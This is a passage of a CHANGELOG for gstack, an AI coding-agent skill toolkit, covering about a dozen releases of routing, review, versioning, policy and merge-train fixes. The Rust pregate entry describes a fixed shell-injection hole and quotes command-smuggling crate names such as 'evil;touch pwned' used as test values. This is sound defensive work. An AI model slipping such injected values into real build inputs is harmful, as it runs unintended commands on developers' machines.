test/gstack-skill-start.test.ts renders the unattended block for autoplan, eval-plan, ship, review, qa and investigate. It checks that each keeps the shared decision rules, that only autoplan and eval-plan get a result line (with their own skill name, never <name>), and that the other four get no result line, gate list, decisions.jsonl or run.json and name their record. Against the old block it fails, and so does the existing unattended test, which now expects skill=autoplan.

Gate integrity

One test expectation changed: the existing unattended test expects GSTACK_RESULT: skill=autoplan … instead of the skill=<name> placeholder, which is stricter. No threshold, budget, timeout, trial count or case kind changed.

[1.91.203.0] - 2026-10-25

Asking gstack to fix a failure no longer always opens /investigate (#3157, #3158). The router sent every bug report straight to the full /investigate workflow, even when the user had named the cause or one look at the failing code showed it. Now the router checks first. When the user names a cause and a narrow fix, it makes one read-only check of the evidence. When that confirms the cause, it makes the fix and runs the focused test. When the cause is unknown, it makes one bounded, read-only triage pass over the supplied evidence and the directly implicated test and code, with no reproduction, hypothesis testing or wider search, and fixes the failure directly only when that pass establishes the root cause. Anything still unclear, including a cause the check contradicts, goes to /investigate before any edit, so the root-cause bar holds. A failing test or stack trace no longer counts as proof of its cause.

Changed

SKILL.md.tmpl (root router): the bug-report rule points to a new Failures block that carries the two paths. Its text comes from generateFailureRouting() in scripts/resolvers/preamble/generate-test-failure-triage.ts.

bin/gstack-skill-start and CLAUDE.md: the routing section gstack offers for a project's CLAUDE.md now reads "Bugs/errors → invoke /investigate, unless one read-only check confirms the cause and a narrow fix (then fix it and run the focused test)", so it agrees with the router.

/ship Test Failure Ownership Triage, "Investigate and fix now": "Switch to /investigate mindset" becomes "One read-only root-cause pass, then /investigate if unclear."

Tests

New paid eval test/skill-e2e-failure-routing.test.ts (gate, rule): four fixture repos, two per issue. router-failure-verified-cause and router-failure-triage-resolves must fix the bug without /investigate and leave the suite green. router-failure-contradicted-cause (a user-supplied cause the code contradicts) and router-failure-triage-unclear (an intermittent CI-only failure) must invoke /investigate, and an edit before it is a contract violation. Every case needs one to four read-only calls before it routes. GSTACK_ROUTER_ARM=before runs the same cases against the base branch's router.

test/skill-validation.test.ts checks that the rendered router carries the rule and no longer sends bug reports straight to /investigate, that both paths keep the /investigate fallback, that the shipped CLAUDE.md routing line matches this repo's own, and that /ship's fix-now step uses the bounded pass.

Gate integrity

No threshold, budget, timeout, trial count or existing case kind changed. The ship skill's parity size stays under its cap (313,260 of 313,281 bytes; 313,276 with #3372 merged). The new eval's negative controls are the two /investigate cases, and on the base router the triage cases go red.

Registries and pins the new gate-tier file needs, each with a stated reason: test/eng-finding-retry-budget.test.ts counts 110 paid test files (was 109). test/helpers/e2e-hosts.ts lists the four cases as skill-tool Claude-only, because they assert on the Claude Skill tool call. test/codex-host.test.ts counts 33 Claude-specific gate cases (was 29).

Each train gate now runs the four new cases, one trial each, for about $0.37 (measured at this head: $0.06, $0.06, $0.11 and $0.14; about 67 s wall when they run in parallel).

[1.91.202.0] - 2026-10-25

Team-mode session auto-update waits for live gstack sessions instead of moving the checkout under them (#3363). bin/gstack-upgrade already refuses with UPGRADE_BUSY while another live session holds a workflow lease on the installation (bin/gstack-lease), but the SessionStart hook bin/gstack-session-update never read the leases. A shared ./setup --team install could fast-forward and re-run ./setup while another session was mid-workflow. Reproduced on main: with a live lease held, the hook logged UPDATING and moved the install's HEAD.

Fixed

bin/gstack-session-update: after taking its setup lock and before fetching, the background updater asks gstack-lease live --root <install> --exclude-ancestry-of <hook pid>. Any live lease from another session logs SKIP leased pid=<pid>/<age> and exits without fetching, fast-forwarding, retrying a pending setup stage or writing the hourly throttle stamp, so the next session start tries again. GSTACK_UPGRADE_FORCE=1 overrides, as it does for gstack-upgrade. A dead or stale lease never blocks.

Tests

test/session-update-stages.test.ts holds a lease from a live process: the install's HEAD, setup runs and the throttle stamp are unchanged, and the first session start after the holder exits updates. A second case shows a lease also holds a pending setup retry. Both fail on main. Controls: GSTACK_UPGRADE_FORCE=1 updates under a live lease, and a lease whose process is dead does not block.

[1.91.201.0] - 2026-10-25

/ship's review army and /plan-eng-review now ask for one severity scale, CRITICAL or INFORMATIONAL, the same scale /review, the specialist JSON and the review checklist already use (#3349). The shared confidence rubric those two skills render told the model to label findings [P1] and [P2] and to report a 1-2 confidence finding "only if severity would be P0", while the rest of /ship's Step 9 (Pass 1 CRITICAL, Pass 2 INFORMATIONAL, "severity":"CRITICAL|INFORMATIONAL") used the other scale. A finding from one skill couldn't be compared, deduplicated or gated against a finding from another. Garry picked CRITICAL/INFORMATIONAL for plan-eng-review on 2026-10-24.

Fixed

scripts/resolvers/confidence.ts (default branch, rendered into ship/sections/review-army.md and plan-eng-review/sections/review-sections.md): every finding carries a severity, CRITICAL (blocks shipping) or INFORMATIONAL (lower severity, still actioned). The format is [CRITICAL|INFORMATIONAL] (confidence: N/10) file:line — description with CRITICAL and INFORMATIONAL examples. A 1-2 score is reported only for a suspected release-blocking catastrophe, at CRITICAL severity and marked explicitly speculative, the rule /review already uses. Repeated sentences in the verification gate and the calibration-learning note were shortened, so ship's skeleton-plus-sections size falls by 77 bytes (313,204 against its 313,281 cap).

Tests

test/eng-first-review.test.ts: the two captured plan-eng-review first-review questions (eng-annotated-cache-au, eng-declarative-as) still open review when their [P1] label becomes [CRITICAL] or [INFORMATIONAL]. They stay closed for [HIGH], [critical], [Critical], [P4], [CRITICAL|INFORMATIONAL] and no label.

Gate integrity

One accepted-input change to review: the paid-test detectors test/helpers/eng-cache-writer-decision.ts and test/helpers/pty/boundaries.ts accept [CRITICAL] and [INFORMATIONAL] alongside [P0]-[P3] in a plan finding's annotation, because the skill now asks for those labels. Without it, both captures relabelled [CRITICAL] are rejected. Verdict: not a weakening. The label is metadata, and every substantive check (decision, assessment, actors, options) is unchanged. Mutation checks: restoring P[0-3] alone fails the positive cases; [^\]]+, P[0-9] or a case-insensitive CRITICAL each fail the negative controls. scripts/harness-version.json records test/helpers/pty/boundaries.ts as non-behavioral at HARNESS_VERSION 6: only the changed plan-eng-review prompt asks for the new labels, and the cases that run it already start their own series. The 11 plan-eng-review size pins in test/fixtures/skill-md-size-allowlist.json come down by 75 characters. No threshold, budget, timeout, trial count or case kind changed.

[1.91.200.0] - 2026-10-25

/cso doctor no longer calls a Go repository "stack: python". A repository with a root go.mod and no Node, Bun, Rails or JVM build matched no supported stack, so preparation fell back to Python and doctor reported stack: python with MISSING_METADATA requirements.txt, which sent Go users looking for a Python file they never needed (#3263). Go runtime support itself is not planned for now (Garry, 2026-10-24), so /cso keeps running static assessment on Go repositories; the runtime catalog and the /cso release contract are unchanged.

Fixed

lib/cso/preparation.ts: a root go.mod with no other supported stack is reported as stack: go with UNSUPPORTED_STACK ("Go (go.mod) is not a supported runtime stack yet; supported runtime stacks are Node, Bun, Python, and Rails."), the way a Maven or Gradle build is already reported as Java. Python helper metadata beside go.mod (a docs requirements.txt, say) no longer turns the repository into Python. A go.mod beside a Node, Bun or Rails lockfile leaves that stack's detection as it was.

Tests

test/cso-preparation.test.ts checks that a Go module is go with exactly that prerequisite and never mentions requirements.txt, and that a hashed requirements.txt beside go.mod stays Go. Both fail on main. Controls: go.mod beside a Node lockfile stays a ready Node plan, a Python project without go.mod stays Python, and a repository with no stack metadata keeps the Python fallback.

test/helpers/cso-runtime-catalog.ts leaves go out of its qualified-runtime fixture list, as it already did java.

Gate integrity

No gate edit. No threshold, budget, timeout, trial count or case kind changed.

[1.91.199.0] - 2026-10-25

When /sync-gbrain refuses because a gbrain autopilot is running, it now says which process it found and what to do. The guard against syncing while gbrain autopilot runs is machine-wide on purpose: two syncs sharing one brain or working tree can race and delete files (#1734). But the refusal only said (process:gbrain autopilot), so someone whose autopilot served a different brain could not tell what was blocking them (#3360, part 1). Garry decided on 2026-10-24 to keep the check machine-wide and improve the message.

Changed

lib/gbrain-guards.ts: the live-process probe still runs pgrep -f "gbrain autopilot" across the whole machine, then reads each match's command line with ps. The refusal names every match as pid <n> \`, says the check counts any process on the machine whose command line contains "gbrain autopilot" (an autopilot serving another brain or repo included), and says to stop that autopilot or its gbrain autopilot --installservice, or end a process that only mentions it. Commands are cut at 200 characters and the user and password part of a URL is masked. A pid thatpscannot describe still refuses, ascommand unavailable`. The header comment now gives the machine-wide reason in place of the stale gbrain #1226 note.

Tests

test/gbrain-guards.test.ts pins the full refusal for one matched process, lists two matches, keeps an empty match inactive, and runs the real probe against a live process whose command line carries "gbrain autopilot" and a database URL with a password: the refusal names its pid and masks the password. All four fail on main. The existing probe, lock and stale-lock tests are unchanged.

Gate integrity

No gate edit: the guard refuses in exactly the cases it did before, and only its message changed. No threshold, budget, timeout, trial count or case kind changed.

[1.91.198.0] - 2026-10-25

A second-opinion reviewer that says "not ready" is no longer reported as clean. When the outside reviewer (Codex or Claude Code) ended its reply with Verdict: not ready but listed only advisory P2 or P3 findings, lib/outside-review-result.ts printed VERDICT: clean and exited 0, so /ship and /codex carried on as if the reviewer had approved. The not-ready check only ran when no severity parsed at all, so a parsed P2 or P3 switched it off (#3329). Ported from #3364 by @mvanhorn.

Fixed

lib/outside-review-result.ts: when the reply's last recognized Verdict: line says not ready, the result is findings (exit 3) whatever severities parsed, and FINDINGS: still names the highest one. Advisory P2/P3 findings with a ready verdict, or with no verdict, stay clean. A Verdict: line quoted in a code fence or inline code still does not count, and the proposal and spec gates ignore it as before.

docs/troubleshooting.md: the "Every review gate" rule under How the verdict is read from a review now says a not-ready reply blocks even when P2 or P3 parsed.

Tests

test/outside-review-unparsed-severity.test.ts covers the issue's reply (numbered bold P2 plus P3, then Verdict: not ready) on the execution, structured and review gates, P3-only and unlabeled not-ready replies, the last verdict winning in both directions, bold, bulleted and heading verdict lines, and an unparsed label beside a parsed P2. Five of its tests fail on main's classifier and pass with the fix. Controls that stay clean: P2/P3 with Verdict: ready or no verdict, a not-ready verdict inside a code fence or inline code, and ready-one-p3.txt. Missing review markers, a failed execution, and the proposal and spec gates keep their old results.

Gate integrity

One gate edit, and it strengthens the gate: the pinned bare-dash-p2.txt fixture (two P2 lines, then Verdict: not ready (2 P2)) moves from VERDICT: clean, exit 0 to VERDICT: findings, exit 3. Garry approved this reversal on 2026-10-24. No threshold, budget, timeout, trial count or case kind changed.

[1.91.197.0] - 2026-10-25

Pregate gives touched Rust files a test lane, and runs a nested pnpm or vitest package with its own runner (#3344). In a mixed Cargo and JavaScript repo, every touched .rs file failed lanes with "has no test lane", so /ship could not get a receipt, and a nested package's vitest tests ran under bun test from the repo root (about 98 false failures in the reporter's repo). Ported from #3346 by vilano93, whose two commits carry the feature; our commits on top close four findings from a security-focused review of the port and make the new fixtures hermetic.

Fixed

lib/pregate/rust.ts (new, vilano93): a crate is the nearest Cargo.toml with [package]. Its .rs files under tests/ or holding a #[cfg(test)] are tests, and every .rs file of a crate and its Cargo.toml select that crate's tests and those of every crate depending on it. Manifests are parsed as TOML, so renamed, inherited, dotted, table-form and target-specific dependencies all count, and a crate runs from the workspace it is a member of under Cargo's rules (members, exclude, package.workspace). Nothing runs cargo to build the graph.

lib/pregate/checks/lanes.ts (vilano93): selected Rust tests run per crate as cargo test -p <name> from the workspace root and are judged on the summed test result: lines; zero tests is ZERO-RUN and a missing cargo is incomplete. A JS/TS test owned by a nested package.json that declares vitest or jest runs from that package through the package manager its packageManager field or nearest lockfile names (pnpm exec, yarn, bun x, else npx).

lib/pregate/checks/lanes.ts: the crate name comes from the repo's Cargo.toml and reaches the lane's shell. Before, a crate named evil;touch pwned ran touch pwned in the workspace, and a name containing {files} spliced the file list into the command. A name outside Cargo's grammar (letters, digits, _, -) now gets no runner, so its files are unclaimed and the lane is incomplete, as Cargo would refuse the manifest anyway; a valid name is quoted like every file and cwd. The lane only runs with --allow-repo-commands, under which the repo's tests run anyway, but no other repo input reached the shell unquoted.

lib/pregate/rust.ts: Cargo members globs are matched per path component and by Unicode code point, in one pass. The first cut used the policy glob matcher, which matched [ab] literally (a member listed that way lost its inherited workspace dependencies, so its tests were never selected) and backtracked for seconds on a hostile glob. Past 4096 characters of members globs, membership is undecided: every crate under the workspace counts as a member for dependency edges (more tests, never fewer), but its own tests are unclaimed and the lane is incomplete, because running cargo test -p <name> from the wrong root can test a same-named member instead.

lib/pregate/rust.ts: a plain #[test] or #[tokio::test] function in src/ makes the file a test, so a dependent crate tested that way runs when its dependency changes. The #[cfg(...)] scan reads each attribute once, up to its closing ], so a file of unclosed attributes no longer takes seconds, and an attribute it cannot close counts as a test (more tests selected, never fewer).

lib/pregate/init-draft.ts (vilano93): init notes that Rust tests run per crate.

Tests

test/pregate-rust.test.ts (new, vilano93) covers the crate model, the dependency forms, workspace membership, the cargo summary parser and three end-to-end lane runs. New cases: crates named evil;touch pwned-by-crate-name and evil{files} never reach the shell (nothing is created, both are unclaimed) while naïve_crate-2 still runs quoted; crates/[ab], nested/**/leaf and unicode/? (a 📦 directory) members inherit workspace dependencies; a plain #[test] dependent and a cfg(any(test, feature = "<300 chars>")) are tests; and a same-named non-member past the size cap is unclaimed rather than run as the member; a hostile members glob, a million unmatched [ and 100,000 unclosed #[cfg( run in a supervised Bun that kills a super-linear version at 30 s. Each failed before its fix.

The cargo stand-in is hermetic on POSIX: where Bun and cargo share a directory, the lane puts Bun's directory first and the real cargo ran against the fixture, so the shim PATH now uses the platform delimiter and the lane's bash puts the shim first again through BASH_ENV. On windows-free-shard (5) the two cases that run the stand-in failed deterministically (local lane exited 1 with an empty log) and still did after the delimiter and a Path-key repair, so they are skipped on Windows (test.skipIf(process.platform === 'win32'), as other POSIX-shim pregate fixtures are); the selection, planning and hostile-name cases still run there.

test/pregate-selection.test.ts (vilano93) covers nested pnpm/yarn/vitest/jest packages. Its pnpm stand-in gets the same BASH_ENV fix: on a host with a real pnpm beside Bun, the end-to-end case installed vitest from the network and came back incomplete.

Gate integrity

One coverage change to review: the two new end-to-end cargo-lane cases in test/pregate-rust.test.ts are skipped on Windows (they never passed there); Linux and macOS run them, and the rest of the file runs on Windows.

No threshold, budget, timeout, trial count or case kind changed. Pregate's lanes now map and run tests for .rs files that previously failed closed with "no test lane", and nested vitest/jest packages run under their own runner instead of bun test. A .rs file outside any crate, a crate with no tests, and a missing cargo or package manager still fail closed or stay incomplete; the tests above cover each.

No new dependency (Cargo.toml is parsed with Bun's built-in TOML parser), no network call in pregate itself, no workflow change. As with the root runner detection on main (npx vitest run), a nested package's detected runner (npx, bun x) may fetch a missing tool when it runs under --allow-repo-commands.

[1.91.196.0] - 2026-10-25

/land-and-deploy no longer stops parallel PRs with a false "VERSION drift detected". Step 3.4 compared the branch VERSION with the next free patch slot (gstack-next-version --bump patch --exclude-pr) under every ship policy. So it stopped a stamp-at-merge PR whenever a sibling shared its tentative stamp, a claim-at-open PR whenever a sibling had claimed a higher slot, and every MICRO bump even with no other PR open. Reported with a full reproduction by Evgenii Lopatin (@exGeni) in #3318.

Fixed

land-and-deploy/SKILL.md.tmpl Step 3.4: reads gstack-ship-policy show-effective and prints one VERSION_CHECK: verdict. Under stamp-at-merge it ignores claims and checks the exact head stamp: VERSION is the base's version plus one bump, and the changelog's top two headings are that version and then the base's top entry. Otherwise it stops with STOP stamp stale and names the gstack-restamp --next command. Under claim-at-open, and with no policy file, it stops only on a real collision: another open PR holds the same VERSION, or the base is already at or above it. MICRO bumps and versions below a sibling's claim pass.

Documentation

docs/ship-policy.md gains "What /land-and-deploy reads from it", which gives Step 3.4's stop and pass conditions for each queue_mode.

Tests

test/land-and-deploy-version-check.test.ts runs the template's own Step 3.4 block against real git fixtures with the real gstack-ship-policy and a stubbed claim list, under bash and, when installed, zsh. It covers the three false stops from #3318 (all pass now) and the real stops: a same-VERSION claim, a base at or above the branch, a stale stamp after a sibling landed, a base that moved by MICRO under a stamp, an [Unreleased] entry, and a two-bump stamp. A missing VERSION, an invalid policy and unread claims are unavailable.

Gate integrity

Step 3.4 now stops on fewer inputs: a unique VERSION below a sibling's claim, a MICRO bump, and a stamp-at-merge stamp that siblings share no longer stop. Every real collision still stops, and six mutation controls of the block (drop the collision check, the base check, the changelog binding, the one-bump rule, the policy read, or the unread-claims rule) each turn the new tests red. One new unavailable path: an invalid ship policy. It mirrors the existing offline path, and a base at or above the branch still stops there.

Owner-approved budget raise (Garry, 2026-10-24: "do it"): land-and-deploy's exact size pins in test/fixtures/skill-md-size-allowlist.json move up by 1,084 to 1,111 characters on 11 hosts, and its parity maxSizeRatio in test/helpers/carve-guards.ts goes from 1.112 to 1.125 (measured 1.1201). No threshold, timeout, trial count or case kind changed.

[1.91.195.0] - 2026-10-25

Four skill prompts stop contradicting themselves or their code. dgrant's issues #3347, #3350, #3351 and #3352 each found a skill telling the model something wrong or ambiguous: /office-hours read a master-based repo as "no changes", /plan-design-review named a vision model the design binary no longer uses, /health gave two different GBrain scores for the same readings, and /ios-qa's demo mode claimed to override every other rule in the skill.

Fixed

office-hours/SKILL.md.tmpl (#3347): Phase 1 runs git diff origin/HEAD --stat, the remote's default branch, instead of git diff origin/main --stat 2>/dev/null. On a clone whose default branch is master, the old command exited 128 with its error hidden, so the model read the empty output as "no changes"; the new one shows the diff, and a repo without origin/HEAD now shows its error instead of passing for "no diff". The line is the same length, so office-hours stays at its pinned size on every host (the shared {{BASE_BRANCH_DETECT}} block would have added 1,727 chars, past the size-guard pins and the parity skeleton cap).

plan-design-review/SKILL.md.tmpl (#3350): the design binary's check command is described as "OpenAI vision" instead of "GPT-4o vision", so the prose no longer pins a model. The binary defaults to gpt-5.5 (design/src/models.ts), GSTACK_DESIGN_MODEL overrides it, and gpt-4o cannot drive gpt-image-2 at all. The swap is the same length, so the pinned host sizes don't move.

health/SKILL.md.tmpl (#3351): the GBrain score is computed by a bun -e snippet from the doctor component (10 for ok, 7 for warnings, else 0), the queue length and the hours since the last push, like the composite already was. The snippet takes only numeric <N|null> inputs, the placeholder form the generated-bash lint already allows. The rubric row's 10/7/4 bands, which disagreed with the weighted formula (doctor ok, queue 50, pushed 2h: 7 by the rubric, 9.1 by the formula) and overlapped (a queue of 3 matched both 10 and 7), now point at that computation. The bands are half-open (<10, <100 lines; <24, <72 hours), and with sync off the doctor component carries the whole score. History records gbrain with one decimal.

ios-qa/SKILL.md.tmpl (#3352): "DEMO MODE OVERRIDES ALL OTHER RULES" becomes the narrow rule it meant: in demo mode drive every action through visible UI rather than POST /state/* writes, and every other rule in the skill (the device lock, no replay of a lost tap, never hand-editing DebugBridge) still applies.

Tests

test/qa-health-rubric.test.ts checks that the GBrain rubric row defers to the computation, then runs the template's own snippet: the issue's two inputs score 9.1 and 8.5, the band edges (9/10/99/100 lines, 23.9/24/71.9/72 hours) land on the right side, a missing doctor reading counts as 0, and sync off gives 10, 7 and 0. All four new tests fail on the old template.

test/helpers/safety-rules.ts: the ios-qa-demo-override row's anchor moves from /demo mode overrides/i to /drive every action through visible UI/i, and its hash to the reworded paragraph, in the #3352 commit as the registry requires. test/safety-rule-registry.test.ts passes, including its unique-anchor and rule-removed-arm checks.

Gate integrity

One gate edit to review: the safety-rule registry row for safety-ios-demo-ui-only now anchors on the reworded paragraph. Verdict: not weaker. The paragraph still requires visible UI (/tap, /swipe, /type) over POST /state/* writes, and the only text removed is the "overrides all other rules" claim. The case's rule-removed arm deletes the same paragraph as before. No threshold, budget, timeout, trial count or case kind changed.

[1.91.194.0] - 2026-10-25

A read-only repo can now opt in to Memorable recall, one remote at a time, and a corrupt policy store no longer turns the recall veto off. #3359 (exGeni) asked for a way to keep a repo out of the brain while still letting its prompts reach Memorable: today the recall hook skips every deny and read-only repo, and read-only is also the tier people pick just to stop code ingest. Garry approved a per-remote flag on 2026-10-24: off by default, and a deny always wins. While building the negative controls we found that the hook's policy lookup went through get, which quarantines a corrupt store and answers "unset", so a truncated gbrain-repo-policy.json let recall run in every repo, read-only and deny included, and reset the store on the way.

Added

bin/gstack-gbrain-repo-policy memorable set <remote-url> <allow|off> stores the opt-in under a reserved _memorable_recall map in the policy store. It is refused unless the remote is read-only (deny vetoes recall; read-write never needed it). memorable get [<remote-url>] prints <tier>\t<allow|off>, and list adds a memorable=allow column. Changing a remote's tier clears its opt-in, and the two metadata keys (_schema_version, _memorable_recall) are refused as remotes.

lib/gbrain-repo-policy-client.ts: memorableRecallPolicy(url) returns the tier and the opt-in in one spawn. Anything but exactly <tier>\t<allow|off> reads as unreadable.

Changed

hosts/claude/hooks/memorable-user-prompt-hook.ts: a read-only remote is recalled only when it is opted in; deny is always skipped. The skip line in hook-errors.log names the opt-in command.

Fixed

The recall hook's policy lookup is now a pure read that fails closed in either state root: a corrupt, empty or non-object store, a present key with an unknown tier, a path that is not a readable file (a dangling symlink included) and a path whose existence an unsearchable ancestor directory hides are all errors, never "no policy", and nothing is migrated, quarantined or rewritten. The opt-in counts only when it is exactly "allow" and every store that makes the remote read-only (including ~/.gstack under a custom state root) opts it in.

The hook looks policy up by every configured remote.origin.url, as get and /sync-gbrain read it, instead of the first URL after url.*.insteadOf rewriting. A rewrite to another host, or a second origin URL, no longer dodges a deny: any denied or not-opted-in read-only URL skips recall. hasRepoPolicyStore() treats only confirmed absence as "no store", so a dangling symlink at or above the store, a file in its path, or an unreadable directory reaches the script's fail-closed checks instead of the no-policy fast path. Origin URLs are read NUL-delimited and used verbatim, so a valid local path containing a newline or edge whitespace is looked up whole.

Docs

docs/memorable-workflow-memory.md has a short "Recall in a read-only repo" section and updated refusal and troubleshooting lines.

Tests

test/memorable-user-prompt-hook.test.ts drives the real hook: read-only stays blocked by default, the opt-in recalls on that remote and not on a second read-only remote, deny with a hand-written opt-in is skipped, and a corrupt store skips recall and is left in place.

test/gbrain-repo-policy.test.ts covers the CLI: per-remote keying (a different remote, a prefix-sharing remote and an unset remote stay off; the SSH spelling of the same remote matches), refusal on deny, read-write and unset, clearing on a tier change, malformed opt-ins reading off, corrupt and non-file stores in both roots failing with exit 2, and the second-store rule.

test/gbrain-repo-policy-client.test.ts covers memorableRecallPolicy: fast path, per-remote opt-in, deny, corrupt store, an unknown tier, a dangling-symlink store and a timeout.

Review hardening, each test red at the pre-review head: empty, whitespace, null, array, number and two-document stores and false/null/unknown tier values fail with exit 2 in either root; dangling symlinks and an unsearchable directory or ancestor fail closed; the lookup leaves a schema-less store byte-for-byte unchanged; and the hook refuses a deny remote whose origin is rewritten to another host or carries a second, unlisted URL in either order, or whose local-path URL contains a newline or edge whitespace; and a dangling symlink above the store or a file in its path skips the no-store fast path.

Gate integrity

One deliberate widening of a privacy veto, approved by Garry: a read-only remote with an explicit opt-in is recalled. Nothing else is loosened, and the corrupt-store path is tightened. Seventeen mutations of the new gate were run against the focused tests. Sixteen turn at least one test red: the hook ignoring the opt-in, the hook dropping deny, the CLI reporting the opt-in on any tier, an unkeyed opt-in, a corrupt store read as no policy, the second store ignored, an opt-in accepted on deny, the hook using the rewritten URL, an existsSync fast path, any JSON document accepted, a non-file path read as absent, the hook checking only the last origin URL, a missing path trusted without checking its ancestors, origin URLs split on newlines or trimmed, and the client fast path ignoring a dangling ancestor symlink. The seventeenth, the client reading unknown script output as no policy, stays green because the script can no longer produce such output. That check is a second layer and is left in place. No threshold, budget, timeout, trial count or case kind changed.

Known limit, unchanged by this PR: remotes that the store already treats as one key (host:8443/x and host/8443/x, or paths that differ only in case) share the opt-in exactly as they already share a tier.

[1.91.193.0] - 2026-10-25

Windows: the browse terminal agent stops respawning every 60 seconds and stops flashing a console when Bun came from npm (#2295; ported from #3357 by @adammartin0087). The agent was spawned as a bare bun. With Bun installed through npm install -g bun, that name resolves to npm's bun.cmd shim and runs as cmd.exe /c bun …, so windowsHide hid only cmd.exe while bun.exe opened its own visible console, and the recorded pid was cmd.exe's. The agent's startup check never matched its record, it exited after 2 seconds, and the watchdog respawned it.

Fixed

browse/src/terminal-agent-control.ts: spawnTerminalAgent spawns resolveBunExecutable(), which on Windows is the real bun.exe: the running bun.exe itself, then BUN_INSTALL\bin, each absolute PATH entry (and, next to an npm bun.cmd shim, the node_modules\bun\bin\bun.exe it forwards to), then USERPROFILE\.bun\bin. With none found it falls back to bun, as before. macOS and Linux are unchanged.

browse/src/bun-child-config.ts, browse/src/cookie-import-native.ts: that lookup is findWindowsBunExe(), and the Windows native cookie-import worker now uses it instead of its own copy, so it also finds an npm-global Bun. It lives in bun-child-config.ts because that file is already in the native import's source-bound qualification set (NATIVE_CODE_INPUTS). The edit changes the hash of cookie-import-native.ts and bun-child-config.ts; the qualification list is empty today, so no receipt is invalidated.

Tests

browse/test/terminal-agent-bun-exe.test.ts (from the PR) covers POSIX, the running bun.exe, a compiled browse.exe, the npm shim, lookup order and the fallback, plus a source check that the spawn site never passes a bare 'bun'. New: the shared lookup returns null when nothing is installed, finds the npm-global bun.exe for the cookie worker, and cookie-import-native.ts has no candidate list of its own.

Not verified here: real Windows behaviour. The PR author tested on Windows 11; the windows-free-tests lane runs the new unit tests.

[1.91.192.0] - 2026-10-25

Merge trains stop refusing correct heads and stop passing damaged CHANGELOGs. This week's trains hit five defects in the ship-queue tooling. #3331's READY was invisible to the coordinator because its lane's origin was https://git.capy.ai/.... #3345's pin replaced the released ## [1.91.179.0] heading, and three things then failed. The Version Gate passed the pin. mergeChangelogs copied 179's body into [Unreleased]. verify --train refused the correct hand-resolved head at 593e61c. Separately, the train slotted the /cso docs PR (#3337) ahead of the catalog PR it describes (#3343). Each defect now has a regression test built from the real case.

Fixed

lib/version-gate-train.ts: the unstamped-head check read CHANGELOG.md through spawnSync's default 1 MiB buffer. gstack's CHANGELOG is 1.67 MB, so both reads failed and the check compared two empty strings and passed. That is how #3345's 1eb7092 got through: classifyTrainHead(base a59b5e4, head 1eb7092) returned unstamped. The buffer is now 64 MiB, a CHANGELOG that can't be read is refused, and a dropped released heading is named in the error ("CHANGELOG.md drops released heading 1.91.179.0"). gstack-ship-queue ready runs the same check and refuses with QUEUE_NOT_READY.

lib/changelog-check.ts: mergeChangelogs(ours, theirs, base?) returns null, meaning resolve by hand, when either side damaged released history. Damage means one of two things: a released heading the merge base carries is missing from that side (dropped or renamed), or a section only that side carries holds a paragraph of a released entry the other side has. The train merge, the gate-ahead recompute and gstack-restamp --after all pass the merge base. A damaged PR is now QUEUE_TRAIN_CONFLICT on CHANGELOG.md with the reason. Before, the damage went into T.

lib/ship-queue-train-verify.ts: verify --train refused #3345's correct stamped head because T1's CHANGELOG was the damaged mechanical merge. The refusal printed the diff against the pin (main's files), not the diff against T1. A merged-in head is now accepted when it contains main and equals T modulo stamps, with its CHANGELOG judged against main: main's header and sections must be unchanged, with only lines from the pin's own CHANGELOG diff above them. The refusal now names the real difference.

lib/ship-queue-train-record.ts: READY receipts, train records and freezes are keyed on origin normalized to https://github.com/<owner>/<repo>, whatever URL form the lane uses (github.com, git.capy.ai, scp, ssh, a token URL, with or without .git). The canonical key equals the github.com key existing records already use. Readers also accept the keys older versions wrote for the common URL forms, so #3331's 1fb5dd69740a8cf8 receipt is found. The stored repo URL never carries credentials.

lib/restamp.ts: its git reads use a 64 MiB buffer too. Before, gstack-restamp --after read each CHANGELOG conflict stage through the 1 MiB default.

Added

gstack-ship-queue train build --order <pr>,...: an explicit slot order naming every pinned PR once. The default order (screened first, then READY order) is unchanged, and the train's later NEXT: rebuild lines keep the explicit order.

Tests

test/changelog-merge-damage.test.ts: the GSTA-64 repro, plus #3345's real CHANGELOGs (pin 1eb7092, base a59b5e4, main 4a98e40, train T1 6755ab8, stamped de23f5d, under test/fixtures/merge-train-3345/). Negative controls: a correct hand resolve, a shared tentative stamp, and two [Unreleased] blocks are not damage. An invented line, an edited main section, a changed header and a duplicate heading are still refused.

test/compare-pr-version.test.ts: on a CHANGELOG over 1 MiB, #3345's edit is refused naming 1.91.179.0, an additive entry passes, and a corrupt CHANGELOG object is refused. All three failed before the fix.

test/ship-queue-train.test.ts: a git.capy.ai lane writes the owner/repo key, and a legacy-key receipt is admitted. A damaged PR is a CHANGELOG conflict, and ready refuses it. --order sets and records the order. A hand-resolved merged-in head verifies, while an invented CHANGELOG line, a head without main and a stray file are refused. test/ship-queue-train-logic.test.ts: URL normalization, #3331's real keys, orderSlots and parseOrder.

Gate integrity

Version Gate unstamped check: stronger. It refuses a head it can't read and names dropped headings. Additive heads still pass at full size.

mergeChangelogs and the train CHANGELOG merge: stronger. Damage is now a conflict.

verify --train merged-in path: narrower in one place, stronger elsewhere. The head must now contain main. A CHANGELOG that differs from T is accepted only as main's CHANGELOG plus lines the pin itself added. Every other file must still equal T modulo stamps, and the paid gate never reads CHANGELOG text.

READY receipt lookup: unchanged strength. The head and CI binding are the same; only the repository key is normalized.

[1.91.191.0] - 2026-10-25

gstack-version-bump write --changelog moves the branch's [Unreleased] entry under the new version, and /ship Step 12 stops treating a provisional queue pick as a verified slot. Stamping by hand meant writing VERSION with gstack-version-bump write and then renaming the ## [Unreleased] heading yourself, because only gstack-restamp re-headed the CHANGELOG. Separately, when gstack-next-version could not read some open PRs' VERSION it returned complete:false and a provisional pick, and Step 12 printed the warning and then wrote that version as if the queue had been checked (left over from #3258, noted in GSTA-45).

Fixed

bin/gstack-version-bump: write takes an opt-in --changelog <path>. It re-heads an existing ## [Unreleased] section as ## [<version>] - <UTC date> at the top, using the same reheadChangelog that gstack-restamp uses, so the result is byte-for-byte what a restamp produces. Only the heading changes; every entry is kept. A file with no [Unreleased] section, or no file, is left alone, so a released heading is never renamed. A move that would duplicate a version heading exits 2 before anything is written. The output gains a changelog field only when the flag is passed. gstack-restamp doesn't pass the flag, so under stamp-at-merge it still owns the re-heading, and a later restamp moves an entry this command headed as the branch's own stamp.

ship/SKILL.md.tmpl Step 12: an incomplete queue (complete:false) reruns the queue check once, then asks whether to use the provisional candidate (recommended, because Version Gate CI rereads the queue on every push) or stop, naming the PRs in unknown_claims. The write in item 4 passes --changelog CHANGELOG.md, so an [Unreleased] entry written early sits under the new version before Step 13 extends it.

Tests

